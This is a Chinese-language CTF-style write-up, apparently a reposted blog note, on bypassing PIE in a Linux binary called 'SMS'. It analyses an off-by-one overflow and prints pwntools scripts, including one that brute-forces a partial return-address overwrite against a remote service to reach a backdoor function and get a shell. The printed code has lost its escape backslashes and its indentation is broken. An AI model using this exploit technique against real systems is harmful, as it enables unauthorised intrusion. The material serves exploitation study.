zoukankan      html  css  js  c++  java
  • linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04

    IDA 7.0

    docker

    0x00:漏洞分析

    1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。

    ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。

    ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。

    2.查看目标程序属性与动态分析漏洞成因。

              图1

    图1中可以看到程序开启了PIE保护,每次加载的基址是不一样的,PIE的应用给使用ROP技术造成了很大的难度。

    通过IDA动态调试目标程发现漏洞产生是如下地方:

              图2

    程序执行过程中在dosms函数中调用了set_user与set_sms函数,set_user读取最大长度为128字符的username,最后一字节做了set_sms中strncpy的大小,修改最后一个字节构长时造成溢出。

    1.简单写一个rop来测试。

    #! /usr/bin/python
    from pwn import *
    import pdb
    context.log_level = 'debug'
    target = process('./SMS')
    elf=ELF('./SMS')
    pdb.set_trace()
    #poc
    target.recv()
    rop='A'*40#
    rop+='xca'# size
    target.sendline(rop)
    target.recv()
    rop+='B'*159#
    #rop+='x01xC9'# pass pie
    rop+='C'*8#ret address
    target.sendline(rop)
    target.recv()
    target.interactive()

              图3

    如图3所示返回地址被CCCCCCCC覆盖了,由于这个程序开启了PIE保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor(),也不能通过got表来实现rop了。

    0x01:爆破绕过PIE

    1.libc每次加载基址会发生变化是ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位,(某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位)如果在最后一字节0-0xff空间内有可用的rop也可以只覆盖低两位也就是一个字节来控制流程,不过这样的机率太小了。

    2.对比下发现每次随机的其实只有一个位是变化的,所以最多尝试16次就能成功爆破。

              图5

              图5

    我们直接将返回地址修改成后门的地址。

              图6

    3.最终的poc如下:

    #! /usr/bin/python
    #coding:utf-8
    from pwn import *
    import pdb
    context.log_level = 'debug'
    elf=ELF('./SMS')
    pdb.set_trace()
    patcharr = ['x01x09','x01x19','x01x29','x01x39','x01x49','x01x59','x01x69','x01x79','x01x89','x01x99','x01xA9','x01xB9','x01xC9','x01xD9','x01xE9','x01xF9']
    i = 0
    while True:
            print i
            io = remote("172.17.0.2", 10001)        
            io.recv()
            payload = 'A'*40 #padding
            payload += 'xca'  #size                                      
            io.sendline(payload)
            io.recv()
            payload = 'B'*200 #padding
            payload += patcharr[6] # i frontdoor最多尝试16次
            io.sendline(payload)
            io.recv()
         i += 1
            try:
                    io.recv(timeout = 1)
            except EOFError:
                    io.close()
            print 'error......'
                    continue
            else:
                    sleep(0.1)
            print 'succ......'
                    io.sendline('/bin/shx00')
                    sleep(0.1)                                                
                    io.interactive()
                    break

    最后成功获得shell:

              图7

    0x02:总结

    1.本是想通过修改最后一个字节来执行rop泄露内存地址,但是没有在0x00-0xFF内存空间中找到适合的rop。

  • 相关阅读:
    Leetcode 214. Shortest Palindrome
    Leetcode 5. Longest Palindromic Substring
    windows环境下MySQL-5.7.12-winx64下载安装与配置
    随机森林(Random Forests)
    机器学习基石笔记3——在何时可以使用机器学习(3)
    Linux服务器配置---ssh配置
    Linux基础命令---more
    Linux服务器---流量监控ntop
    Linux基础命令---gunzip
    Linux服务器---ssh登录
  • 原文地址:https://www.cnblogs.com/2014asm/p/10145186.html
Copyright © 2011-2022 走看看